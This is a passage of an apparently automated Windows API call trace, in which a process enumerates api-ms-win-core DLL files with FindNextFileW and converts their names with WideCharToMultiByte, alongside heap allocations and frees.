BaseAddress=0xd5e8c8) returned 1 [0173.202] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.202] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.202] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0173.202] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xd5c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0173.202] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.202] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.202] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.202] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.202] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.202] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.202] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.202] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0173.202] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0xd5c288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0173.202] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.202] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.203] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.203] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.203] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.203] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0173.203] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.203] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0173.203] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0xd5c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0173.203] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.203] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.203] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.203] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.203] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.203] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.203] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.203] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0173.203] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xd5c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0173.203] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.203] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.203] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.203] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.203] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.203] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.203] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.203] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0173.203] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xd5c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0173.203] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.203] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.203] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.204] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.204] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.204] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.204] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.204] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0173.204] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xd5c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0173.204] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.204] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.204] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.204] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.204] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.204] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.204] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.204] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0173.204] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xd5c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0173.204] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.204] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.204] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.204] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.204] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.204] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.204] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.204] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0173.204] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0xd5c288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0173.204] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.204] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.204] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.204] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.204] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.204] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.204] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.205] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0173.205] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0xd5c120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0173.205] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.205] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.205] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.205] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.205] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.205] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0173.205] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.205] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0173.205] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0xd5c288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0173.205] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.205] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.205] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.205] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.205] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.205] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.205] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.205] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0173.205] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xd5c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0173.205] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.205] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.205] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.205] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.205] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.205] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.205] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.205] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0173.205] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0xd5c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0173.205] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.205] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.206] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.206] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.206] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.206] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.206] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.206] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0173.206] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xd5c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 